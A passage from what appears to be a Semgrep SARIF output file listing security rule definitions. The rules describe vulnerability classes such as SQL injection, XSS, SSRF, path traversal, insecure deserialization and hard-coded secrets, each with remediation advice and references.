generic.secrets.security.detected-slack-token.detected-slack-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ARC4 (Alleged RC4) is a stream cipher with serious weaknesses in its initial stream output.  Its use is strongly discouraged. ARC4 does not use mode constructions. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use the `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"help":{"markdown":"ARC4 (Alleged RC4) is a stream cipher with serious weaknesses in its initial stream output.  Its use is strongly discouraged. ARC4 does not use mode constructions. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use the `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4)\n - [https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#weak-ciphers](https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#weak-ciphers)\n","text":"ARC4 (Alleged RC4) is a stream cipher with serious weaknesses in its initial stream output.  Its use is strongly discouraged. ARC4 does not use mode constructions. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use the `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4","id":"python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4","name":"python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password","id":"javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password","name":"javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-stdlib.db.sequelize-http.sequelize-http)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.node-stdlib.db.sequelize-http.sequelize-http","id":"javascript.node-stdlib.db.sequelize-http.sequelize-http","name":"javascript.node-stdlib.db.sequelize-http.sequelize-http","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-stdlib.db.sequelize-http.sequelize-http"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url)\n - [https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1](https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url","id":"typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url","name":"typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf)\n - [https://laravel.com/docs/9.x/http-client](https://laravel.com/docs/9.x/http-client)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf","id":"php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf","name":"php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password","id":"python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password","name":"python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls","id":"java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls","name":"java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http and ftp (unencrypted) sites using OpenURI."},"help":{"markdown":"Checks for requests to http and ftp (unencrypted) sites using OpenURI.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request)\n - [https://ruby-doc.org/stdlib-2.6.3/libdoc/open-uri/rdoc/OpenURI.html](https://ruby-doc.org/stdlib-2.6.3/libdoc/open-uri/rdoc/OpenURI.html)\n","text":"Checks for requests to http and ftp (unencrypted) sites using OpenURI."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request","id":"problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request","name":"problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret","id":"javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret","name":"javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The vpc_config resource inside the eks cluster has not explicitly disabled public endpoint access"},"help":{"markdown":"The vpc_config resource inside the eks cluster has not explicitly disabled public endpoint access\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The vpc_config resource inside the eks cluster has not explicitly disabled public endpoint access"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled","id":"terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled","name":"terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Ensure that the expiration date is set on all keys"},"help":{"markdown":"Ensure that the expiration date is set on all keys\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_key#expiration_date](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_key#expiration_date)\n - [https://docs.microsoft.com/en-us/powershell/module/az.keyvault/update-azkeyvaultkey?view=azps-5.8.0#example-1--modify-a-key-to-enable-it--and-set-the-expiration-date-and-tags](https://docs.microsoft.com/en-us/powershell/module/az.keyvault/update-azkeyvaultkey?view=azps-5.8.0#example-1--modify-a-key-to-enable-it--and-set-the-expiration-date-and-tags)\n","text":"Ensure that the expiration date is set on all keys"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires","id":"terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires","name":"terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires","properties":{"precision":"very-high","tags":["CWE-262: Not Using Password Aging","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Visualforce Pages must use API version 55 or higher for required use of the cspHeader attribute set to true."},"help":{"markdown":"Visualforce Pages must use API version 55 or higher for required use of the cspHeader attribute set to true.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version)\n - [https://developer.salesforce.com/docs/atlas.en-us.api_meta.meta/api_meta/meta_pages.htm](https://developer.salesforce.com/docs/atlas.en-us.api_meta.meta/api_meta/meta_pages.htm)\n","text":"Visualforce Pages must use API version 55 or higher for required use of the cspHeader attribute set to true."},"helpUri":"https://semgrep.dev/r/generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version","id":"generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version","name":"generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Seam Logging API support an expression language to introduce bean property to log messages. The expression language can also be the source to unwanted code execution. In this context, an expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"Seam Logging API support an expression language to introduce bean property to log messages. The expression language can also be the source to unwanted code execution. In this context, an expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jboss.security.seam-log-injection.seam-log-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Seam Logging API support an expression language to introduce bean property to log messages. The expression language can also be the source to unwanted code execution. In this context, an expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.jboss.security.seam-log-injection.seam-log-injection","id":"java.jboss.security.seam-log-injection.seam-log-injection","name":"java.jboss.security.seam-log-injection.seam-log-injection","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.jboss.security.seam-log-injection.seam-log-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri","id":"python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri","name":"python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If an attacker can supply values that the application then uses to determine which method or field to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner."},"help":{"markdown":"If an attacker can supply values that the application then uses to determine which method or field to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"If an attacker can supply values that the application then uses to determine which method or field to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name","id":"go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name","name":"go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name","properties":{"precision":"very-high","tags":["CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`serialize-javascript` used with `unsafe` parameter, this could be vulnerable to XSS."},"help":{"markdown":"`serialize-javascript` used with `unsafe` parameter, this could be vulnerable to XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"`serialize-javascript` used with `unsafe` parameter, this could be vulnerable to XSS."},"helpUri":"https://semgrep.dev/r/javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript","id":"javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript","name":"javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript","properties":{"precision":"very-high","tags":["CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django","id":"python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django","name":"python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string.formatted-sql-string)\n - 